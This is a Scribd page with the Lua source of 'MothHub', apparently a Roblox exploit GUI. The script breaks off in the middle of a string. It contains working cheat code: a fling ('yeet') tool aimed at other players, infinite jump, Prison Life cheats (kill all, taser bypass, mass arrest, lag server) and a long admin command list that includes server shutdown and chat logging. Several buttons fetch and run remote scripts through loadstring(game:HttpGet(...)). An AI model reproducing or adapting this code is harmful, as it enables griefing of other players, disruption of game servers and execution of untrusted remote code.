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MothHubV1 12

This document contains code for creating a GUI in Roblox with multiple buttons and functions. It instantiates a ScreenGui parented to CoreGui and contains buttons for yeeting players, infinite yield, infinite jump, two trolling guis, and XXHub. The buttons load code from URLs on click to execute the respective scripts.

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ParksHunter
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© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
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0% found this document useful (0 votes)
2K views195 pages

MothHubV1 12

This document contains code for creating a GUI in Roblox with multiple buttons and functions. It instantiates a ScreenGui parented to CoreGui and contains buttons for yeeting players, infinite yield, infinite jump, two trolling guis, and XXHub. The buttons load code from URLs on click to execute the respective scripts.

Uploaded by

ParksHunter
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

-- Gui to Lua

-- Version: 3.2

-- Instances:

local ScreenGui = [Link]("ScreenGui")


local Frame = [Link]("ImageLabel")
local yeetpeople = [Link]("TextButton")
local infyield = [Link]("TextButton")
local infjump = [Link]("TextButton")
local trollingtwo = [Link]("TextButton")
local trollingone = [Link]("TextButton")
local chathax = [Link]("TextButton")
local nullware = [Link]("TextButton")
local pagetwo = [Link]("TextButton")
local title = [Link]("TextLabel")
local Close = [Link]("TextButton")
local version = [Link]("TextLabel")
local pagethree = [Link]("TextButton")
local OpenFrame = [Link]("Frame")
local Open = [Link]("TextButton")

--Properties:

[Link] = [Link]

[Link] = "Frame"
[Link] = ScreenGui
Frame.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = 10
[Link] = [Link](0.675611675, 0, 0.568796098, 0)
[Link] = [Link](0, 379, 0, 321)
[Link] = "rbxassetid://3570695787"
Frame.ImageColor3 = [Link](0, 5, 17)
[Link] = [Link]
[Link] = [Link](100, 100, 100, 100)
[Link] = 0.120
[Link] = true
[Link] = false
[Link] = true

[Link] = "yeetpeople"
[Link] = Frame
yeetpeople.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.559622467, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "Yeet People "
yeetpeople.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
yeetpeople.MouseButton1Down:connect(function()
local lp = game:FindService("Players").LocalPlayer

local function gplr(String)


local Found = {}
local strl = String:lower()
if strl == "all" then
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
[Link](Found,v)
end
elseif strl == "others" then
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
if [Link] ~= [Link] then
[Link](Found,v)
end
end
elseif strl == "me" then
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
if [Link] == [Link] then
[Link](Found,v)
end
end
else
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
if [Link]:lower():sub(1, #String) == String:lower() then
[Link](Found,v)
end
end
end
return Found
end

local function notif(str,dur)


game:FindService("StarterGui"):SetCore("SendNotification", {
Title = "yeet gui",
Text = str,
Icon = "rbxassetid://2005276185",
Duration = dur or 3
})
end

--// sds

local h = [Link]("ScreenGui")
local Main = [Link]("ImageLabel")
local Top = [Link]("Frame")
local Title = [Link]("TextLabel")
local TextBox = [Link]("TextBox")
local TextButton = [Link]("TextButton")

[Link] = "h"
[Link] = game:GetService("CoreGui")
[Link] = false

[Link] = "Main"
[Link] = h
[Link] = true
[Link] = true
Main.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0
[Link] = [Link](0.174545452, 0, 0.459574461, 0)
[Link] = [Link](0, 454, 0, 218)
[Link] = "rbxassetid://2005276185"

[Link] = "Top"
[Link] = Main
Top.BackgroundColor3 = [Link](57, 57, 57)
[Link] = 0
[Link] = [Link](0, 454, 0, 44)

[Link] = "Title"
[Link] = Top
Title.BackgroundColor3 = [Link](49, 49, 49)
[Link] = 0
[Link] = [Link](0, 0, 0.295454562, 0)
[Link] = [Link](0, 454, 0, 30)
[Link] = [Link]
[Link] = "FE Yeet Gui (trollface edition)"
Title.TextColor3 = [Link](255, 255, 255)
[Link] = true
[Link] = 14.000
[Link] = true

[Link] = Main
TextBox.BackgroundColor3 = [Link](49, 49, 49)
[Link] = 0
[Link] = [Link](0.0704845786, 0, 0.270642221, 0)
[Link] = [Link](0, 388, 0, 62)
[Link] = [Link]
[Link] = "Who do i yeet(can be shortened)"
[Link] = ""
TextBox.TextColor3 = [Link](255, 255, 255)
[Link] = true
[Link] = 14.000
[Link] = true

[Link] = Main
TextButton.BackgroundColor3 = [Link](49, 49, 49)
[Link] = 0
[Link] = [Link](0.10352423, 0, 0.596330225, 0)
[Link] = [Link](0, 359, 0, 50)
[Link] = [Link]
[Link] = "Cheese Em'"
TextButton.TextColor3 = [Link](255, 255, 255)
[Link] = true
[Link] = 14.000
[Link] = true

TextButton.MouseButton1Click:Connect(function()
local Target = gplr([Link])
if Target[1] then
Target = Target[1]

local Thrust = [Link]('BodyThrust',


[Link])
[Link] = [Link](9999,9999,9999)
[Link] = "YeetForce"
repeat
[Link] =
[Link]
[Link] =
[Link]
game:FindService("RunService").Heartbeat:wait()
until not [Link]:FindFirstChild("Head")
else
notif("Invalid player")
end
end)

--//fsddfsdf
notif("Loaded successfully! Created by scuba#0001", 5)
end)
[Link] = "infyield"
[Link] = Frame
infyield.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.458747625, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "Infinite Yield"
infyield.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
infyield.MouseButton1Down:connect(function()

loadstring(game:HttpGet('[Link]
ter/source'))()
end)
[Link] = "infjump"
[Link] = Frame
infjump.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.66817075, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "Infinite Jump"
infjump.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
infjump.MouseButton1Down:connect(function()
[Link]:SetCore("SendNotification", {
Title = "bruh";
Text = "- Infinite Jump executed, nae nae before you get a whoopin.";
Icon = "rbxassetid://4414605822";
Duration = 3;
})

_G.infinjump = true

local Player = game:GetService("Players").LocalPlayer


local Mouse = Player:GetMouse()
[Link]:connect(function(k)
if _G.infinjump then
if k:byte() == 32 then
Humanoid =
game:GetService("Players").[Link]:FindFirstChildOfClass("Humanoid")
Humanoid:ChangeState("Jumping")
wait(0.1)
Humanoid:ChangeState("Seated")
end
end
end)

local Player = game:GetService("Players").LocalPlayer


local Mouse = Player:GetMouse()
[Link]:connect(function(k)
k = k:lower()
if k == "f" then
if _G.infinjump == true then
_G.infinjump = false
else
_G.infinjump = true
end
end
end)
end)

[Link] = "trollingtwo"
[Link] = Frame
trollingtwo.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.356242418, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "Trolling Gui 2"
trollingtwo.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
trollingtwo.MouseButton1Down:connect(function()
loadstring(game:HttpGet("[Link] true))()
end)
[Link] = "trollingone"
[Link] = Frame
trollingone.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.254625082, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "Trolling Gui 1"
trollingone.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
trollingone.MouseButton1Down:connect(function()
loadstring(game:HttpGet("[Link] true))()

end)
[Link] = "chathax"
[Link] = Frame
chathax.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.152965605, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "XXHub"
chathax.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
[Link] = "chathax"
[Link] = Frame
chathax.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.152965605, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "XXHub"
chathax.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
chathax.MouseButton1Down:connect(function()
loadstring(game:HttpGet(('[Link]
end)
[Link] = "nullware"
[Link] = Frame
nullware.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.950
[Link] = [Link](0.0307292938, 0, 0.768601596, 0)
[Link] = [Link](0, 354, 0, 26)
[Link] = [Link]
[Link] = "Nullware"
nullware.TextColor3 = [Link](102, 255, 127)
[Link] = 14.000
nullware.MouseButton1Down:connect(function()
nullware.MouseButton1Down:connect(function()
loadstring(game:HttpGet("[Link]

end)
end)
[Link] = "pagetwo"
[Link] = Frame
pagetwo.BackgroundColor3 = [Link](107, 255, 142)
[Link] = 0.200
pagetwo.BorderColor3 = [Link](47, 111, 29)
[Link] = 2
[Link] = [Link](0.0639471263, 0, 0.881535709, 0)
[Link] = [Link](0, 148, 0, 29)
[Link] = [Link]
[Link] = "Game Scripts (PG 2)"
pagetwo.TextColor3 = [Link](0, 0, 0)
[Link] = 14.000
pagetwo.MouseButton1Down:connect(function()
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = [Link]("ScreenGui")


local Frame = [Link]("ImageLabel")
local prisonlife = [Link]("TextButton")
local lasertag = [Link]("TextButton")
local pizza = [Link]("TextButton")
local arsenal = [Link]("TextButton")
local credits = [Link]("TextButton")
local title = [Link]("TextLabel")
local subtitle = [Link]("TextLabel")
local pgclose = [Link]("TextButton")

--Properties:

[Link] = [Link]

[Link] = "Frame"
[Link] = ScreenGui
Frame.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.507497966, 0, 0.685503662, 0)
[Link] = [Link](0, 311, 0, 256)
[Link] = "rbxassetid://3570695787"
Frame.ImageColor3 = [Link](1, 0, 17)
[Link] = [Link]
[Link] = [Link](100, 100, 100, 100)
[Link] = 0.120
[Link] = true
[Link] = true
[Link] = true

[Link] = "prisonlife"
[Link] = Frame
prisonlife.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
prisonlife.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.069907099, 0, 0.675915718, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Prison Life"
prisonlife.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
prisonlife.MouseButton1Down:connect(function()
-- Farewell Infortality.
-- Version: 2.82
-- Instances:
local PrisonBreakerv15 = [Link]("ScreenGui")
local openmain = [Link]("Frame")
local open = [Link]("TextButton")
local main = [Link]("Frame")
local title = [Link]("TextLabel")
local close = [Link]("TextButton")
local police = [Link]("TextButton")
local inmate = [Link]("TextButton")
local neutral = [Link]("TextButton")
local arrestcrims = [Link]("TextButton")
local invis = [Link]("TextButton")
local superpunch = [Link]("TextButton")
local guns = [Link]("TextButton")
local taserbypass = [Link]("TextButton")
local fling = [Link]("TextButton")
local reviz = [Link]("TextButton")
local arrest = [Link]("TextButton")
local attach = [Link]("TextButton")
local fastrem = [Link]("TextButton")
local fastm9 = [Link]("TextButton")
local fasttaze = [Link]("TextButton")
local fastak = [Link]("TextButton")
local killall = [Link]("TextButton")
local btools = [Link]("TextButton")
local speed = [Link]("TextButton")
local respawn = [Link]("TextButton")
local Credits = [Link]("TextButton")
local prison = [Link]("TextButton")
local yard = [Link]("TextButton")
local crimbase = [Link]("TextButton")
local title_2 = [Link]("TextLabel")
local bringall = [Link]("TextButton")
local drill = [Link]("TextButton")
local killplrmain = [Link]("Frame")
local killtext = [Link]("TextBox")
local kill = [Link]("TextButton")
local waves = [Link]("TextButton")
local bigbowl = [Link]("TextButton")
local tazeplrmain = [Link]("Frame")
local tazetext = [Link]("TextBox")
local taze = [Link]("TextButton")
local teamcrim = [Link]("TextButton")
local tazeall = [Link]("TextButton")
local removewalls = [Link]("TextButton")
local removeall = [Link]("TextButton")
local lagserver = [Link]("TextButton")
--Properties:
[Link] = "PrisonBreaker v1.5"
[Link] = [Link]

[Link] = "openmain"
[Link] = PrisonBreakerv15
openmain.BackgroundColor3 = [Link](0, 0, 0)
[Link] = [Link](0.00434467755, 0, 0.397959173, 0)
[Link] = [Link](0, 100, 0, 27)
[Link] = false

[Link] = "open"
[Link] = openmain
open.BackgroundColor3 = [Link](1, 1, 0)
[Link] = [Link](1.49011612e-08, 0, 0, 0)
[Link] = [Link](0, 100, 0, 27)
[Link] = [Link]
[Link] = [Link]
[Link] = "OPEN"
open.TextColor3 = [Link](0, 0, 0)
[Link] = 14
open.MouseButton1Down:connect(function()
[Link] = false
[Link] = true
end)

[Link] = "main"
[Link] = PrisonBreakerv15
main.BackgroundColor3 = [Link](0, 1, 0)
[Link] = [Link](0.00441803597, 0, 0.249908596, 0)
[Link] = [Link](0, 383, 0, 586)
[Link] = [Link]
[Link] = true
[Link] = true

[Link] = "title"
[Link] = main
title.BackgroundColor3 = [Link](0, 0, 1)
[Link] = [Link](-0.0125168273, 0, -0.00528348284, 0)
[Link] = [Link](0, 376, 0, 50)
[Link] = [Link]
[Link] = "PrisonBreaker V1.5"
title.TextColor3 = [Link](1, 1, 1)
[Link] = 14
[Link] = "close"
[Link] = main
close.BackgroundColor3 = [Link](0.333333, 0, 1)
[Link] = [Link](0.848563969, 0, -0.00557620823, 0)
[Link] = [Link](0, 59, 0, 50)
[Link] = [Link]
[Link] = "X"
close.TextColor3 = [Link](0, 0, 0)
[Link] = 14
close.MouseButton1Down:connect(function()
[Link] = false
[Link] = true
end)

[Link] = "police"
[Link] = main
police.BackgroundColor3 = [Link](0, 0, 1)
[Link] = [Link](0.0143180238, 0, 0.108731732, 0)
[Link] = [Link](0, 84, 0, 22)
[Link] = [Link]
[Link] = "Team Police"
police.TextColor3 = [Link](0, 0, 0)
[Link] = 14
police.MouseButton1Down:connect(function()
[Link]:FireServer("Bright blue")
end)

[Link] = "inmate"
[Link] = main
inmate.BackgroundColor3 = [Link](1, 0.666667, 0)
inmate.BorderColor3 = [Link](1, 0.666667, 0.0901961)
[Link] = [Link](0.270111769, 0, 0.107363492, 0)
[Link] = [Link](0, 84, 0, 22)
[Link] = [Link]
[Link] = "Team Inmate"
inmate.TextColor3 = [Link](0, 0, 0)
[Link] = 14
inmate.MouseButton1Down:connect(function()
[Link]:FireServer("Bright orange")
end)

[Link] = "neutral"
[Link] = main
neutral.BackgroundColor3 = [Link](0.772549, 0.74902, 0.784314)
[Link] = [Link](0.525683641, 0, 0.106356524, 0)
[Link] = [Link](0, 83, 0, 22)
[Link] = [Link]
[Link] = "Team Neutral"
neutral.TextColor3 = [Link](0, 0, 0)
[Link] = 14
neutral.TextStrokeColor3 = [Link](0.333333, 1, 0)
neutral.MouseButton1Down:connect(function()
[Link]:FireServer("Medium stone grey")
end)
[Link] = "arrestcrims"
[Link] = main
arrestcrims.BackgroundColor3 = [Link](0.333333, 1, 1)
[Link] = [Link](0.0124716684, 0, 0.160733104, 0)
[Link] = [Link](0, 111, 0, 31)
[Link] = [Link]
[Link] = "Arrest Crims"
arrestcrims.TextColor3 = [Link](1, 0, 0)
[Link] = 14
arrestcrims.MouseButton1Down:connect(function()
local Player = [Link]
local cpos = [Link]
for i,v in pairs([Link]:GetPlayers()) do
if [Link] ~= [Link] then
local i = 10
repeat
wait()
i = i-1

[Link]:InvokeServer([Link])
[Link] =
[Link] * [Link](0, 0, 1)
until i == 0
end
end
[Link] = cpos
Notify("Success", "Arrested all of the n00bs", "Cool!")
end)

[Link] = "invis"
[Link] = main
invis.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.348153055, 0, 0.160733074, 0)
[Link] = [Link](0, 111, 0, 31)
[Link] = [Link]
[Link] = "Invisible"
invis.TextColor3 = [Link](1, 0, 0)
[Link] = 14
invis.MouseButton1Down:connect(function()
local player = [Link]
position = [Link]
wait(0.1)
[Link]:MoveTo(position + [Link](0, 1000000, 0))
wait(0.1)
humanoidrootpart = [Link]:clone()
wait(0.1)
[Link]:Destroy()
[Link] = [Link]
[Link]:MoveTo(position)
wait()
-- Remove this if you want to see yourself (others still won't
see you)
[Link] = 1
[Link] = 1
[Link]["Left Arm"].Transparency = 1
[Link]["Right Arm"].Transparency = 1
[Link]["Left Leg"].Transparency = 1
[Link]["Right Leg"].Transparency = 1
[Link]:RemoveAccessories()
[Link]:Remove()
end)

[Link] = "superpunch"
[Link] = main
superpunch.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.678248107, 0, 0.160733074, 0)
[Link] = [Link](0, 111, 0, 31)
[Link] = [Link]
[Link] = "SuperPunch"
superpunch.TextColor3 = [Link](1, 0, 0)
[Link] = 14
superpunch.MouseButton1Down:connect(function()
mainRemotes = [Link] meleeRemote =
mainRemotes['meleeEvent'] mouse = [Link]:GetMouse() punching =
false cooldown = false function punch() cooldown = true local part =
[Link]("Part", [Link]) [Link] = 1
[Link] = [Link](5, 2, 3) [Link] = false local w1 =
[Link]("Weld", part) w1.Part0 = [Link]
w1.Part1 = part w1.C1 = [Link](0,0,2) [Link]:connect(function(hit) if
[Link]:FindFirstChild([Link]) then local plr =
[Link]:FindFirstChild([Link]) if [Link] ~=
[Link] then part:Destroy() for i = 1,100 do
meleeRemote:FireServer(plr) end end end end) wait(1) cooldown = false
part:Destroy() end [Link]:connect(function(key) if cooldown == false then if
key:lower() == "f" then punch() end end end)
end)

[Link] = "guns"
[Link] = main
guns.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.0124716703, 0, 0.2304198, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Guns"
guns.TextColor3 = [Link](1, 0, 0)
[Link] = 14
guns.MouseButton1Down:connect(function()
for i,v in pairs(Workspace.Prison_ITEMS.giver:GetChildren()) do

lol =
[Link]:InvokeServer([Link])
print(lol)
end
end)

[Link] = "taserbypass"
[Link] = main
taserbypass.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.348080158, 0, 0.2304198, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Taser Bypass"
taserbypass.TextColor3 = [Link](1, 0, 0)
[Link] = 14
taserbypass.MouseButton1Down:connect(function()
[Link] =
true
[Link]:connect(function()
[Link]:WaitForChild([Link])

[Link] = true
end)
local message = [Link]("Message",[Link])
[Link] = 'Made By Jake11price'
wait(2)
message:Destroy()
end)

[Link] = "fling"
[Link] = main
fling.BackgroundColor3 = [Link](0.333333, 1, 1)
[Link] = [Link](0.00984076969, 0, 0.379423141, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Fling"
fling.TextColor3 = [Link](1, 0, 0)
[Link] = 14
fling.MouseButton1Down:connect(function()
power = 300 -- change this to make it more or less powerful

game:GetService('RunService').Stepped:connect(function()
[Link] = false
[Link] = false
[Link]["Left Leg"].CanCollide =
false
[Link]["Right Leg"].CanCollide
= false
end)

wait(.1)
local bambam = [Link]("BodyThrust")
[Link] =
[Link]
[Link] = [Link](power,0,power)
[Link] =
[Link]
end)

[Link] = "reviz"
[Link] = main
reviz.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.0121497028, 0, 0.303878158, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Reviz Admin"
reviz.TextColor3 = [Link](1, 0, 0)
[Link] = 14
reviz.MouseButton1Down:connect(function()
-- Creator: illremember#3799

-- Credits to infinite yield, harkinian, dex creators

prefix = ";"
wait(0.3)
Commands = {
'[-] cmdbar is shown when ; is pressed.',
'[1] kill [plr] -- You need a tool! Will kill the player,
use rkill to kill you and player',
'[2] bring [plr] -- You need a tool! Will bring player to
you',
'[3] spin [plr] -- You need a tool! Makes you and the
player spin crazy',
'[4] unspin -- Use after using spin cmd and dying, so you
stop loop teleporting',
'[5] attach [plr] -- You need a tool! Attaches you to
player',
'[6] unattach [plr] -- Attempts to unattach you from a
player',
'[7] follow [plr] -- Makes you follow behind the player',
'[8] unfollow',
'[9] freefall [plr] -- You need a tool! Teleports you and
the player up into the air',
'[10] trail [plr] -- The opposite of follow, you stay
infront of player',
'[11] untrail',
'[12] orbit [plr] -- Makes you orbit the player',
'[13] unorbit',
'[14] fling [plr] -- Makes you fling the player',
'[15] unfling',
'[16] fecheck -- Checks if the game is FE or not',
'[17] void [plr] -- Teleports player to the void',
'[18] noclip -- Gives you noclip to walk through walls',
'[19] clip -- Removes noclip',
'[20] speed [num]/ws [num] -- Changes how fast you walk 16
is default',
'[21] jumppower [num]/jp [num] -- Changes how high you jump
50 is default',
'[22] hipheight [num]/hh [num] -- Changes how high you
float 0 is default',
'[23] default -- Changes your speed, jumppower and
hipheight to default values',
'[24] annoy [plr] -- Loop teleports you to the player',
'[25] unannoy',
'[26] headwalk [plr] -- Loop teleports you to the player
head',
'[27] unheadwalk',
'[28] nolimbs -- Removes your arms and legs',
'[29] god -- Gives you FE Godmode',
'[30] drophats -- Drops your accessories',
'[31] droptool -- Drops any tool you have equipped',
'[32] loopdhats -- Loop drops your accessories',
'[33] unloopdhats',
'[34] loopdtool -- Loop drops any tools you have equipped',
'[35] unloopdtool',
'[36] invisible -- Gives you invisibility CREDIT TO
TIMELESS',
'[37] view [plr] -- Changes your camera to the player
character',
'[38] unview',
'[39] goto [plr] -- Teleports you to player',
'[40] fly -- Allows you to fly, credit to Infinite Yield',
'[41] unfly',
'[42] chat [msg] -- Makes you chat a message',
'[43] spam [msg] -- Spams a message',
'[44] unspam',
'[45] spamwait [num] -- Changes delay of chatting a message
for the spam command in seconds default is 1 second',
'[46] pmspam [plr] -- Spams a player in private message',
'[47] unpmspam',
'[48] cfreeze [plr] -- Freezes a player on your client,
they will only be frozen for you',
'[49] uncfreeze [plr]',
'[50] unlockws -- Unlocks the workspace',
'[51] lockws -- Locks the workspace',
'[52] btools -- Gives you btools that will only show to you
useful for deleting certain blocks only for you',
'[53] pstand -- Enables platform stand',
'[54] unpstand -- Disables platform stand',
'[55] blockhead -- Removes your head mesh',
'[56] sit',
'[57] bringobj [obj] -- Only shows on client, brings an
object/part to you constantly, can be used to bring healing parts, weapons, money
etc, type in exact name',
'[58] wsvis [num] -- Changes visibility of workspace parts,
num should be between 0 and 1, only shows client sided',
'[59] hypertotal -- Loads in my FE GUI Hypertotal',
'[60] cmds -- Prints all commands',
'[61] rmeshhats/blockhats -- Removes the meshes of all your
accessories aka block hats',
'[62] rmeshtool/blocktool -- Removes the mesh of the tool
you have equipped aka block tool',
'[63] spinner -- Makes you spin',
'[64] nospinner',
'[65] reach [num] -- Gives you reach, mostly used for
swords, say ;reachd for default and enter number after for custom',
'[66] noreach -- Removes reach, must have tool equipped',
'[67] rkill [plr] -- Kills you and the player, use kill to
just kill the player without dying',
'[68] tp me [plr] -- Alternative to goto',
'[69] cbring [plr] -- Brings player infront of you, shows
only on client, allows you to do damage to player',
'[70] uncbring',
'[71] swap [plr] -- You need a tool! Swaps players position
with yours and your position with players',
'[72] givetool [plr] -- Gives the tool you have equipped to
the player',
'[73] glitch [plr] -- Glitches you and the player, looks
very cool',
'[74] unglitch -- Unglitches you',
'[75] grespawn -- Alternative to normal respawn and usually
works best for when you want to reset with FE Godmode',
'[76] explorer -- Loads up DEX',
'[77] reset -- Resets your character.',
'[78] anim [id] -- Applies an animation on you, must be
created by ROBLOX',
'[79] animgui -- Loads up Energize animations GUI',
'[80] savepos -- Saves your current position',
'[81] loadpos -- Teleports you to your saved position',
'[82] bang [plr] -- 18+ will not work if you have FE
Godmode on',
'[83] unbang',
'[84] delcmdbar -- Removes the command bar completely',
'[85] bringmod [obj] -- Brings all the parts in a model,
client only, comes from ;bringobj enter exact name of model',
'[86] shutdown -- Uses harkinians script to shutdown
server',
'[87] respawn -- If grespawn doesnt work you can use
respawn',
'[88] delobj [obj] -- Deletes a certain brick in workspace,
client sided',
'[89] getplrs -- Prints all players in game',
'[90] deldecal -- Deletes all decals client sided',
'[91] opfinality -- Loads in my FE GUI Opfinality',
'[92] remotes -- Prints all remotes in the game in the
console when added',
'[93] noremotes -- Stops printing remotes',
'[94] tpdefault -- Stops all loop teleports to a player',
'[95] stopsit -- Will not allow you to sit',
'[96] gosit -- Allows you to sit',
'[97] clicktp -- Enables click tp',
'[98] noclicktp -- Disables click tp',
'[99] toolson -- If any tools are dropped in the workspace
you will automatically get them',
'[100] toolsoff -- Stops ;toolson',
'[101] version -- Gets the admin version',
'[102] state [num] -- Changes your humanoid state, ;unstate
to stop.',
'[103] gravity [num] -- Changes workspace gravity default
is 196.2',
'[104] pgs -- Checks if the game has
PGSPhysicsSolverEnabled enabled',
'[105] clickdel -- Delete any block you press q on, client
sided',
'[106] noclickdel -- Stops clickdel',
'[107] looprhats -- Loop removes mesh of your hats/loop
block hats',
'[108] unlooprhats -- Stops loop removing mesh',
'[109] looprtool -- Loop removes mesh of your tool/loop
block tools',
'[110] unlooprtool -- Stops loop removing mesh',
'[111] givealltools [plr] -- Gives all the tools you have
in your backpack to the player',
'[112] age [plr] -- Makes you chat the account age of the
player',
'[113] id [plr] -- Makes you chat the account ID of the
player',
'[114] .age [plr] -- Privately shows you the account age of
the player',
'[115] .id [plr] -- Privately shows you the account ID of
the player',
'[116] gameid -- Shows the game ID',
'[117] removeinvis -- Removes all invisible walls/parts,
client sided',
'[118] removefog -- Removes fog, client sided',
'[119] disable -- Disables your character by removing
humanoid',
'[120] enable -- Enables your character by adding
humanoid',
'[121] prefix [key] -- Changes the prefix used, default
is ;',
'[122] ;resetprefix -- Resets the prefix to ; incase you
change it to an unusable prefix. Say exactly ";resetprefix" to do this command, no
matter what your prefix is set to.',
'[123] flyspeed [num] -- Change your fly speed, default is
1',
'[124] carpet [plr] -- Makes you a carpet for a player,
will not work if FE Godmode is on',
'[125] uncarpet -- Stops carpet player',
'[126] stare [plr] -- Turns your character to stare at
another player',
'[127] unstare -- Stops stare player',
'[128] logchat -- Logs all chat (including /e and whispers)
of all players',
'[129] unlogchat -- Disables logchat',
'[130] fixcam -- Fixes/resets your camera',
'[131] unstate -- Stops changing state',
}
speedget = 1

lplayer = game:GetService("Players").LocalPlayer

[Link]:Connect(function(character)
spin = false
flying = false
staring = false
banpl = false
end)

function change()
prefix = prefix
speedfly = speedfly
end

function GetPlayer(String) -- Credit to Timeless/xFunnieuss


local Found = {}
local strl = String:lower()
if strl == "all" then
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
[Link](Found,v)
end
elseif strl == "others" then
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
if [Link] ~= [Link] then
[Link](Found,v)
end
end
elseif strl == "me" then
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
if [Link] == [Link] then
[Link](Found,v)
end
end
else
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
if [Link]:lower():sub(1, #String) ==
String:lower() then
[Link](Found,v)
end
end
end
return Found
end

local Mouse = lplayer:GetMouse()

spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
droppinghats = false
droppingtools = false
flying = false
spamdelay = 1
spamming = false
spammingpm = false
cbringing = false
remotes = true
added = true
binds = false
stopsitting = false
clickgoto = false
gettingtools = false
removingmeshhats = false
removingmeshtool = false
clickdel = false
staring = false
chatlogs = false
banpl = false
changingstate = false
statechosen = 0

adminversion = "Reviz Admin by illremember, Version 2.0"

flying = false
speedfly = 1

function plrchat(plr, chat)


print([Link]..": "..tick().."\n"..chat)
end

for i,v in pairs(game:GetService("Players"):GetPlayers()) do


[Link]:connect(function(chat)
if chatlogs then
plrchat(v, chat)
end
end)
end
game:GetService("Players").PlayerAdded:connect(function(plr)
[Link]:connect(function(chat)
if chatlogs then
plrchat(plr, chat)
end
end)
end)

local ScreenGui = [Link]("ScreenGui")


local Frame = [Link]("Frame")
local CMDBAR = [Link]("TextBox")
[Link] = game:GetService("CoreGui")
[Link] = ScreenGui
Frame.BackgroundColor3 = [Link](0.3, 0.1, 0.1)
[Link] = 0.3
[Link] = [Link](0.5, 0, 0, 10)
[Link] = [Link](0, 200, 0, 40)
[Link] = true
[Link] = true
[Link] = "CMDBAR"
[Link] = Frame
CMDBAR.BackgroundColor3 = [Link](0.105882, 0.164706,
0.207843)
[Link] = 0.20000000298023
[Link] = [Link](0, 180, 0, 20)
[Link] = [Link](0.05, 0, 0.25, 0)
[Link] = [Link]
[Link] = [Link].Size14
CMDBAR.TextColor3 = [Link](0.945098, 0.945098, 0.945098)
[Link] = true
[Link] = 14
[Link] = true
[Link] = "Press ; to type, Enter to execute"

local CMDS = [Link]("ScreenGui")


local CMDSFRAME = [Link]("Frame")
local ScrollingFrame = [Link]("ScrollingFrame")
local TextLabel = [Link]("TextLabel")
local closegui = [Link]("TextButton")
[Link] = "CMDS"
[Link] = game:GetService("CoreGui")
[Link] = "CMDSFRAME"
[Link] = CMDS
[Link] = true
CMDSFRAME.BackgroundColor3 = [Link](0.223529, 0.231373,
0.309804)
[Link] = 0
[Link] = true
[Link] = [Link](0, 315, 0, 100)
[Link] = [Link](0, 275, 0, 275)
[Link] = false
[Link] = CMDSFRAME
ScrollingFrame.BackgroundColor3 = [Link](0.160784, 0.160784,
0.203922)
[Link] = 0
[Link] = [Link](0, 0, 0.0729999989, 0)
[Link] = [Link](1.04999995, 0, 0.92900002, 0)
[Link] = [Link](0, 0, 10, 0)
[Link] = ScrollingFrame
TextLabel.BackgroundColor3 = [Link](1, 1, 1)
[Link] = 1
[Link] = [Link](0.930000007, 0, 1, 0)
[Link] = [Link]
[Link] = [Link].Size18
[Link] = "[-] cmdbar is shown when ; is pressed.,\n[1]
kill [plr] -- You need a tool! Will kill the player, use rkill to kill you and
